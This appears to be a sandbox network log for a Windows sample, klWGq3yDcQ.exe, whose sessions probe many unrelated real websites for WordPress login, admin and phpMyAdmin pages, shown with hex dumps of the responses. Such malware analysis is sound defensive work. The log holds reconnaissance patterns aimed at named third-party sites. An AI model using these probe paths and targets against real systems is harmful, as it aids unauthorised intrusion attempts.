content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	56828	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:03 UTC	7840	IN	Data Raw: 32 38 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 282a<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:03 UTC	2448	IN	Data Raw: 20 25 32 24 73 21 20 55 73 65 20 25 33 24 73 20 69 6e 73 74 65 61 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 69 64 65 72 20 77 72 69 74 69 6e 67 20 6d 6f 72 65 20 69 6e 63 6c 75 73 69 76 65 20 63 6f 64 65 2e 22 3a 5b 22 5c 75 30 30 61 31 25 31 24 73 20 65 73 74 5c 75 30 30 65 31 20 65 6e 20 64 65 73 75 73 6f 20 64 65 73 64 65 20 6c 61 20 76 65 72 73 69 5c 75 30 30 66 33 6e 20 25 32 24 73 21 20 55 73 61 20 25 33 24 73 20 65 6e 20 73 75 20 6c 75 67 61 72 2e 20 50 6f 72 20 66 61 76 6f 72 20 63 6f 6e 73 69 64 65 72 61 20 65 73 63 72 69 62 69 72 20 75 6e 20 63 5c 75 30 30 66 33 64 69 67 6f 20 6d 5c 75 30 30 65 31 73 20 69 6e 63 6c 75 73 69 76 6f 2e 22 5d 7d 7d 2c 22 63 6f 6d 6d 65 6e 74 22 3a 7b 22 72 65 66 65 72 65 6e 63 65 22 3a 22 77 70 2d 61 64 6d 69 6e 5c Data Ascii: %2$s! Use %3$s instead. Please consider writing more inclusive code.":["\u00a1%1$s est\u00e1 en desuso desde la versi\u00f3n %2$s! Usa %3$s en su lugar. Por favor considera escribir un c\u00f3digo m\u00e1s inclusivo."]}},"comment":{"reference":"wp-admin\
2023-11-26 06:00:03 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	56848	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	184	OUT	GET /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:02 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:03 UTC	6439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	56820	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	253	OUT	GET /saml/index.php?page=%2FPhpMyAdmin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=gh3fodnktlcg4ei2n3go2sr3u6 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	1069	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 06:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	56884	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:02 UTC	240	OUT	GET / HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:04 UTC	484	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 77 70 2f 76 32 2f 70 61 67 65 73 2f 32 38 3e 3b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 3b 20 74 79 Data Ascii: HTTP/1.1 200 OKdate: Sun, 26 Nov 2023 06:00:03 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12link: <https://www.maxiv.lu.se/wp-json/>; rel="https://api.w.org/"link: <https://www.maxiv.lu.se/wp-json/wp/v2/pages/28>; rel="alternate"; ty
2023-11-26 06:00:04 UTC	14768	IN	Data Raw: 33 39 41 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 4d 41 58 20 49 56 20 26 23 38 32 31 31 3b 20 57 65 20 6d 61 6b 65 20 74 68 65 20 69 6e 76 69 73 69 62 Data Ascii: 39A8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>MAX IV – We make the invisib
2023-11-26 06:00:04 UTC	1104	IN	Data Raw: 34 34 39 0d 0a 6c 6f 75 72 22 3a 22 23 33 33 33 33 33 33 22 2c 22 62 75 74 74 6f 6e 5f 34 5f 61 73 5f 62 75 74 74 6f 6e 22 3a 22 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 62 75 74 74 6f 6e 5f 63 6f 6c 6f 75 72 22 3a 22 23 36 31 61 32 32 39 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 62 75 74 74 6f 6e 5f 68 6f 76 65 72 22 3a 22 23 34 65 38 32 32 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 6c 69 6e 6b 5f 63 6f 6c 6f 75 72 22 3a 22 23 66 66 66 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 61 73 5f 62 75 74 74 6f 6e 22 3a 22 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 6e 65 77 5f 77 69 6e 22 3a 22 22 2c 22 66 6f 6e 74 5f 66 61 6d 69 6c 79 22 3a 22 69 6e 68 65 72 69 74 22 2c 22 68 65 61 64 65 72 5f 66 69 78 22 3a 22 22 2c 22 6e 6f 74 69 66 79 5f 61 6e 69 6d 61 74 65 5f 68 69 64 65 22 3a 22 Data Ascii: 449lour":"#333333","button_4_as_button":"1","button_7_button_colour":"#61a229","button_7_button_hover":"#4e8221","button_7_link_colour":"#fff","button_7_as_button":"1","button_7_new_win":"","font_family":"inherit","header_fix":"","notify_animate_hide":"
2023-11-26 06:00:04 UTC	10639	IN	Data Raw: 32 39 38 37 0d 0a 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 68 61 72 65 70 6f 69 6e 74 2d 70 6c 75 67 69 6e 2f 64 69 73 74 2f 6a 73 74 72 65 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 33 2e 35 22 20 69 64 3d 22 73 68 61 72 65 70 6f 69 6e 74 5f 73 63 72 69 70 74 73 5f 63 6f 72 65 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 68 61 72 65 70 6f 69 6e 74 2d 70 6c 75 67 69 6e 2f 6a 73 2f 73 Data Ascii: 2987xt/javascript"></script><script src="https://www.maxiv.lu.se/wp-content/plugins/sharepoint-plugin/dist/jstree.min.js?ver=3.3.5" id="sharepoint_scripts_core-js"></script><script src="https://www.maxiv.lu.se/wp-content/plugins/sharepoint-plugin/js/s
2023-11-26 06:00:04 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 63 2d 34 32 2e 39 2d 38 2e 35 36 2d 38 33 2e 31 36 2d 32 35 2e 32 35 2d 31 31 39 2e 36 37 2d 34 39 2e 36 6c 2d 37 2e 32 35 2d 34 2e 38 33 2d 35 31 2e 36 36 20 32 35 2e 38 37 2d 35 35 2e 34 31 2d 35 35 2e 34 31 20 32 35 2e 38 37 2d 35 31 2e 36 36 2d 34 2e 38 33 2d 37 2e 32 35 63 2d 32 34 2e 33 35 2d 33 36 2e 35 31 2d 34 31 2e 30 33 2d 37 36 2e 37 37 2d 34 39 2e 36 2d 31 31 39 2e 36 37 6c 2d 31 2e 37 31 2d 38 2e 35 35 4c 31 31 35 20 34 38 39 2e 31 38 76 2d 37 38 2e 33 36 6c 35 34 2e 37 39 2d 31 38 2e 32 33 20 31 2e 37 31 2d 38 2e 35 35 63 38 2e 35 36 2d 34 32 2e 39 20 32 35 2e 32 35 2d 38 33 2e 31 36 20 34 39 2e 36 2d 31 31 39 2e 36 37 6c 34 2e 38 33 2d 37 2e 32 35 2d 32 35 2e 38 37 2d 35 31 2e 36 36 20 35 35 2e 34 31 2d 35 35 2e 34 31 20 Data Ascii: 3FB2c-42.9-8.56-83.16-25.25-119.67-49.6l-7.25-4.83-51.66 25.87-55.41-55.41 25.87-51.66-4.83-7.25c-24.35-36.51-41.03-76.77-49.6-119.67l-1.71-8.55L115 489.18v-78.36l54.79-18.23 1.71-8.55c8.56-42.9 25.25-83.16 49.6-119.67l4.83-7.25-25.87-51.66 55.41-55.41
2023-11-26 06:00:04 UTC	16312	IN	Data Raw: 33 46 42 30 0d 0a 22 3e 42 41 47 20 41 63 63 65 73 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 3f 70 61 67 65 5f 69 64 3d 35 36 34 39 38 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 46 61 73 74 20 41 63 63 65 73 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 Data Ascii: 3FB0">BAG Access</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/?page_id=56498" class="menu-item-label">Fast Access</a></li><li class='menu-item menu-item-type-post_type menu-it
2023-11-26 06:00:04 UTC	30	IN	Data Raw: 34 32 0d 0a 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 Data Ascii: 42cons-sharp">add</span></sp
2023-11-26 06:00:04 UTC	42	IN	Data Raw: 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 0d 0a Data Ascii: an><span class="material-icon submenu-to
2023-11-26 06:00:04 UTC	16270	IN	Data Raw: 33 46 38 36 0d 0a 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 Data Ascii: 3F86ggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamline
2023-11-26 06:00:04 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 66 69 6e 65 73 74 62 65 61 6d 73 2f 73 74 61 66 66 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 53 74 61 66 66 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 Data Ascii: 3FB8/www.maxiv.lu.se/beamlines-accelerators/beamlines/finestbeams/staff/" class="menu-item-label">Staff</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/bea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	56882	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	164	OUT	GET /admin HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	211	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 39 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 06:00:03 GMTServer: ApacheLocation: https://www.knu.ac.in/adminContent-Length: 295Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 06:00:03 UTC	295	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6b 6e 75 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/admin">here</a>.</p><hr><address>Apache Server at knu.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	56912	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	241	OUT	GET /wp-admin/ HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip Cookie: originDirect=true User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 06:00:03 UTC	354	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 64 6f 6d 61 69 6e 73 3b 20 70 72 65 6c 6f 61 64 0d 0a 56 61 72 79 3a 20 41 63 63 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:03 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comStrict-Transport-Security: max-age=315360000; includeSubdomains; preloadVary: Acc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	56894	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
